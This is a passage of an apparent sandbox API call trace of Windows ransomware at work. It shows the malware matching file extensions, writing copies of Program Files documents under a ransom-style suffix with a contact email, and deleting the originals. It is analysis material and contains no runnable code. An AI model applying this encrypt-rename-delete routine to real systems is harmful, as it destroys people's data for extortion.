	[0047.643] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString=".xls") returned 4
	[0047.643] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString=".xlsx") returned 5
	[0047.643] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.643] lstrlenW (lpString=".ppt") returned 4
	[0047.643] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".zip") returned 4
	[0047.643] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString=".rar") returned 4
	[0047.643] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString=".bz2") returned 4
	[0047.643] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.643] lstrlenW (lpString=".7z") returned 3
	[0047.643] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".dbf") returned 4
	[0047.643] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".1cd") returned 4
	[0047.643] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".jpg") returned 4
	[0047.643] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".doc") returned 4
	[0047.643] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.643] lstrlenW (lpString=".docx") returned 5
	[0047.643] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.644] lstrlenW (lpString=".pdf") returned 4
	[0047.644] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.644] lstrlenW (lpString=".xls") returned 4
	[0047.644] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.644] lstrlenW (lpString=".xlsx") returned 5
	[0047.644] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.644] lstrlenW (lpString=".ppt") returned 4
	[0047.644] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.644] lstrlenW (lpString=".zip") returned 4
	[0047.644] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.644] lstrlenW (lpString=".rar") returned 4
	[0047.644] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.644] lstrlenW (lpString=".bz2") returned 4
	[0047.644] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.644] lstrlenW (lpString=".7z") returned 3
	[0047.644] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.644] lstrlenW (lpString=".dbf") returned 4
	[0047.644] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.644] lstrlenW (lpString=".1cd") returned 4
	[0047.644] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.644] lstrlenW (lpString=".jpg") returned 4
	[0047.644] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.644] lstrcmpiW (lpString1=".txt", lpString2=".yG") returned -1
	[0047.645] lstrlenW (lpString="jvm.hprof.txt") returned 13
	[0047.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.645] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4226) returned 1
	[0047.645] CloseHandle (hObject=0x348) returned 1
	[0047.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20
	[0047.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.645] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.645] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.645] GetLastError () returned 0x0
	[0047.645] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1082, lpOverlapped=0x0) returned 1
	[0047.897] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0047.898] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.898] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xee, lpOverlapped=0x0) returned 1
	[0047.898] SetEndOfFile (hFile=0x350) returned 1
	[0048.399] CloseHandle (hObject=0x350) returned 1
	[0048.400] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.400] SetEndOfFile (hFile=0x348) returned 1
	[0048.400] CloseHandle (hObject=0x348) returned 1
	[0048.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1
	[0048.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.401] lstrlenW (lpString=".doc") returned 4
	[0048.401] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.401] lstrlenW (lpString=".docx") returned 5
	[0048.401] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0048.401] lstrlenW (lpString=".pdf") returned 4
	[0048.401] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.401] lstrlenW (lpString=".xls") returned 4
	[0048.401] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.401] lstrlenW (lpString=".xlsx") returned 5
	[0048.401] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0048.401] lstrlenW (lpString=".ppt") returned 4
	[0048.401] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.401] lstrlenW (lpString=".zip") returned 4
	[0048.401] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.401] lstrlenW (lpString=".rar") returned 4
	[0048.401] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.401] lstrlenW (lpString=".bz2") returned 4
	[0048.401] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString=".7z") returned 3
	[0048.402] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString=".dbf") returned 4
	[0048.402] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString=".1cd") returned 4
	[0048.402] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString=".jpg") returned 4
	[0048.402] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString=".doc") returned 4
	[0048.402] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString=".docx") returned 5
	[0048.402] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0048.402] lstrlenW (lpString=".pdf") returned 4
	[0048.402] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString=".xls") returned 4
	[0048.402] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.402] lstrlenW (lpString=".xlsx") returned 5
	[0048.402] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0048.402] lstrlenW (lpString=".ppt") returned 4
	[0048.402] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.402] lstrlenW (lpString=".zip") returned 4
	[0048.402] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.402] lstrlenW (lpString=".rar") returned 4
	[0048.402] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString=".bz2") returned 4
	[0048.402] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.402] lstrlenW (lpString=".7z") returned 3
	[0048.402] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.403] lstrlenW (lpString=".dbf") returned 4
	[0048.403] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.403] lstrlenW (lpString=".1cd") returned 4
	[0048.403] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0048.403] lstrlenW (lpString=".jpg") returned 4
	[0048.403] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.403] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0048.403] lstrlenW (lpString="FileSystemMetadata.xml") returned 22
	[0048.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.403] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=281) returned 1
	[0048.403] CloseHandle (hObject=0x348) returned 1
	[0048.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220
	[0048.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.403] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.404] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0048.404] GetLastError () returned 0x0
	[0048.404] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x119, lpOverlapped=0x0) returned 1
	[0048.404] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x120, lpOverlapped=0x0) returned 1
	[0048.406] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.406] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x100, lpOverlapped=0x0) returned 1
	[0048.406] SetEndOfFile (hFile=0x350) returned 1
	[0048.406] CloseHandle (hObject=0x350) returned 1
	[0048.407] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.407] SetEndOfFile (hFile=0x348) returned 1
	[0048.407] CloseHandle (hObject=0x348) returned 1
	[0048.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0048.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1
	[0048.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.408] lstrlenW (lpString=".doc") returned 4
	[0048.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0048.408] lstrlenW (lpString=".docx") returned 5
	[0048.408] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0048.408] lstrlenW (lpString=".pdf") returned 4
	[0048.408] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0048.408] lstrlenW (lpString=".xls") returned 4
	[0048.408] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0048.408] lstrlenW (lpString=".xlsx") returned 5
	[0048.408] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0048.408] lstrlenW (lpString=".ppt") returned 4
	[0048.408] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0048.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString=".zip") returned 4
	[0048.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0048.409] lstrlenW (lpString=".rar") returned 4
	[0048.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString=".bz2") returned 4
	[0048.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString=".7z") returned 3
	[0048.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0048.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString=".dbf") returned 4
	[0048.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString=".1cd") returned 4
	[0048.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString=".jpg") returned 4
	[0048.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.409] lstrlenW (lpString=".doc") returned 4
	[0048.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString=".docx") returned 5
	[0048.409] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0048.409] lstrlenW (lpString=".pdf") returned 4
	[0048.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0048.409] lstrlenW (lpString=".xls") returned 4
	[0048.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString=".xlsx") returned 5
	[0048.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0048.410] lstrlenW (lpString=".ppt") returned 4
	[0048.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.410] lstrlenW (lpString=".zip") returned 4
	[0048.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0048.410] lstrlenW (lpString=".rar") returned 4
	[0048.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString=".bz2") returned 4
	[0048.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString=".7z") returned 3
	[0048.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0048.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.410] lstrlenW (lpString=".dbf") returned 4
	[0048.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.410] lstrlenW (lpString=".1cd") returned 4
	[0048.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0048.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0048.410] lstrlenW (lpString=".jpg") returned 4
	[0048.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0048.410] lstrcmpiW (lpString1=".HTM", lpString2=".yG") returned -1
	[0048.410] lstrlenW (lpString="OSPP.HTM") returned 8
	[0048.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0048.663] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=174528) returned 1
	[0048.663] CloseHandle (hObject=0x350) returned 1
	[0048.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20
	[0048.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0048.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0048.782] GetLastError () returned 0x0
	[0048.782] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x2a9c0, lpOverlapped=0x0) returned 1
	[0049.070] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x2a9d0, lpOverlapped=0x0) returned 1
	[0049.072] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.072] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0049.072] SetEndOfFile (hFile=0x398) returned 1
	[0049.072] CloseHandle (hObject=0x398) returned 1
	[0049.076] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.076] SetEndOfFile (hFile=0x350) returned 1
	[0049.077] CloseHandle (hObject=0x350) returned 1
	[0049.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1
	[0049.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.078] lstrlenW (lpString=".doc") returned 4
	[0049.078] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0049.078] lstrlenW (lpString=".docx") returned 5
	[0049.078] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0049.078] lstrlenW (lpString=".pdf") returned 4
	[0049.078] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0049.078] lstrlenW (lpString=".xls") returned 4
	[0049.078] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0049.078] lstrlenW (lpString=".xlsx") returned 5
	[0049.078] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0049.078] lstrlenW (lpString=".ppt") returned 4
	[0049.078] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0049.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.078] lstrlenW (lpString=".zip") returned 4
	[0049.078] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0049.078] lstrlenW (lpString=".rar") returned 4
	[0049.078] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0049.078] lstrlenW (lpString=".bz2") returned 4
	[0049.078] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0049.078] lstrlenW (lpString=".7z") returned 3
	[0049.078] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".dbf") returned 4
	[0049.079] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".1cd") returned 4
